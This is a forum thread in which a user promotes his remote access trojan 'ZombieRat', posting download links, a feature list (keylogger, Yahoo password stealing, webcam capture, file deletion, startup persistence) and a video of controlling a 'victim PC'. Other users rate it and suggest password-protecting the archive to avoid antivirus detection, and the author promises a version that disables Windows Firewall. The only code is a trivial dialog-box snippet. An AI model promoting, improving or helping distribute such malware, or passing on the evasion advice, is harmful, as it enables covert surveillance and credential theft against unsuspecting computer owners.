ZombieRat

[hackerz]

Hi!, I am The Bo$$

My Remote Access Trojan, ZombieRat, can be download Download
It is detected by McAfee(New BackDor1) and Panda(Suspicious File)
The Trojan Port is 4455, and enter in Start Up Registry

It's made in Delphi 2005, and ASM, and has more functions

Examples:
-Open CD-ROM,
-Close CD-ROM,
-PrintScreen,
-WebCam,
-Open Web Page,
-Set Home Page,
-Shutdown,
-Restart,
-Log OFff,
-Simultate Keyboard,
-Kill Process,
-Delete File,
-Open File,
-Show Proccess,
-Show Hard-Disk,
-Open Windows Program -Msconfig, Calculator, Paint, Narrator, NotePade,WordPad, RegEdit, Clock,
-Get Computer Name
-Get Server Path.
-Yahoo! Messenger Scam(with this you cane steel Yahoo! Password)
-Set Data/Time
-Block Input
-Disable TaskManager and Hide Shutdown Clock
-Suspend PC
-Empty Recycle Bin
-Hide Start button
-Block mouse in a Rect
-Turn off monitor
-Change Start Button Caption
-Print Text
-Del .exe
-Mute Sound
-No mute Sound
-Fuck Winamp
-Fuck Yahoo!
-Freeze Mouse
-Stop Freeze Mouse
-Swap Mouse
-KeyLogger
-Make 226 MB in C:
-Make 100 Folders
-Hide Desktop Icons
-Show Desktop Icons
-Hide TaskBar
-Show TaskBar
-Crazy PC Start
-Stop Crazy Pc Start
-Get Yahoo Buzz
-Open Start Menu
-Show PIG picture

)) :jupi:
-Crazy Led
-Minimize all Windows
-Shutdown Menu
-Get 100 Errors
-Change Wallpaper
-Open ScreenSaver
-Get 100 Warning
-Mouse Go Crazy
-Hide Clock
-Fake X Error Messages
-Fake X Warning Messages
-Fake X Information Messages
-Fake X Question Messages
-Matrix Chat

-Change Matrix Chat Size
-Change Matrix Chat Font
-Change Matrix Chat Color
-Get User and more

This is my program, i hope like it

Contract my at:
E-mail adress: the_boss_hack [@] yahoo [.] com
Y! Messenger: the_boss_hack
www.hackerzsoft.3x.ro

A ScreenShot with my Program

Have a lucky day!

 

[N0n^]

Świetny trojan ! Przydała by się tylko jescze funkcja wysyłamia plików na FTP oraz obsługa innych protokołów np. GG.

Ocena : 9/10

 

[DJ_Kranky]

Popieram!

Jest zaje... ten-teges :yes:

Proponuję spolszczenie, żeby się n00by nie darły, i w następnej wersji, zabezpieczyć archiwum hasłem.

Po co?

Żeby dłużej pozostał nie wykrywalny

k:

Tak daję 9+/10

k: I znaczek jakości ;]

 

[grzonu]

sprawdze czy czyste na wszelki wypadek

 

[hackerz]

Ohhh

Ohhh i am don't speak Polland Language, sorry, :glupek2:
i have a new version

 

[grzonu]

i run this program and i see that he add to registry on autorun and don`t block windows firewall :/
but if a people is behind NAT the trojan don`t connect. File is clean!!!

 

[hackerz]

Originally posted by grzonu
i run this program and i see that he add to registry on autorun and don`t block windows firewall :/
but if a people is behind NAT the trojan don`t connect. File is clean!!!

OK i will modifie the program, In Next Version the Trojan will be disable Windows firewall...
Thx

 

[DJ_Kranky]

So, i translate my post =]

It's very good program.

Go and do next version!

I give you 9 points and +, on 10 points

Secure the archivum by pass, in the next version.

And i was sad: "Do it in polish"

Sorry for my english :faja:

 

[hackerz]

Thx

Thx man,

 

[3xtr3m3]

szkoda ze wykrywalny

 

[hackerz]

My Trojan Work

My Trojan Work whatch at this movie, when i control the victim PC

:gra: ....
http://www.youtube.com/v/iHUbD2_q5f4

 

[Kanciastoporty]

how did you find out our forum

?
/
nie pytamy o konfiguracje!

 

[djmentos]

@kanciasty:
by google ;] normal people are using search engines xD

its good work. veeery useful program

 

[djmentos]

musisz wysłac temu komuś najpierw serwer

//edit
if you connect to server you get msg "Connected to IP" and its gives you OK and Cancel buttons, but if you click on cancel nothnig will becam. The same situation is on disconnecting

 

[hackerz]

Originally posted by djmentos
musisz wysłac temu komuś najpierw serwer

//edit
if you connect to server you get msg "Connected to IP" and its gives you OK and Cancel buttons, but if you click on cancel nothnig will becam. The same situation is on disconnecting

Because, Code:

MessageDlg('You are connected to: '+RatSocket.Address,mtWarning, mbOKCancel, 0);

Because MessageDlg, instruction , must have two button 2, (yes,cancel,all,ok,no).
I don't use ShowMessage(instruction) because no have Warning Image,
of course you have right suggestion and Thanks for suggestion.
Have a lucky day!

 

[djmentos]

you can use:
MessageBox('You are connected to: '+RatSocket.Address, title,MB_ICONWARNING or MB_OK); >> thats gives you messagebox with one button: "OK"

//edit
or
MessageDlg('You are connected to: '+RatSocket.Address, mtWarning, [mbOK], 0);

 

[hackerz]

Originally posted by djmentos
you can use:
MessageBox('You are connected to: '+RatSocket.Address, title,MB_ICONWARNING or MB_OK); >> thats gives you messagebox with one button: "OK"

//edit
or
MessageDlg('You are connected to: '+RatSocket.Address, mtWarning, [mbOK], 0);

Thanks i don't know [mbOK]....:">:">:">., and i modifing Client and Server

, i don't upload now, thx

 

[Wojtek]

Hi,

Good Work,
Its some bad because Antyvirus engines detect it.
Do you known german language? My english is bad, sorry.
I havent lern english in school.

Why did you goes here ? ? :hahaha:


Have a lucky day!

Wojtek.

//Dzięki DjMentos'ie ;]
//Nasz gość zobaczył chyba dział "Trojany- Made in Poland" xD

 

[hackerz]

New Version.... http://rapidshare.com/files/79668822/ZombieRat.cab.html

My Trojan, is detected by Panda,McAfee,DRWeb(3 antiviruses)

 

[hackerz]

Originally posted by djmentos
DJ_Kranky, oczywiscie ze jest. Przetłuamcz sobie ten post:
(6)
<div class='quotetop'>CYTAT

i run this program and i see that he add to registry on autorun and don`t block windows firewall :/
but if a people is behind NAT the trojan don`t connect. File is clean!!!

[/b][/quote]

i don't write code for Disable Windows Firewall, ....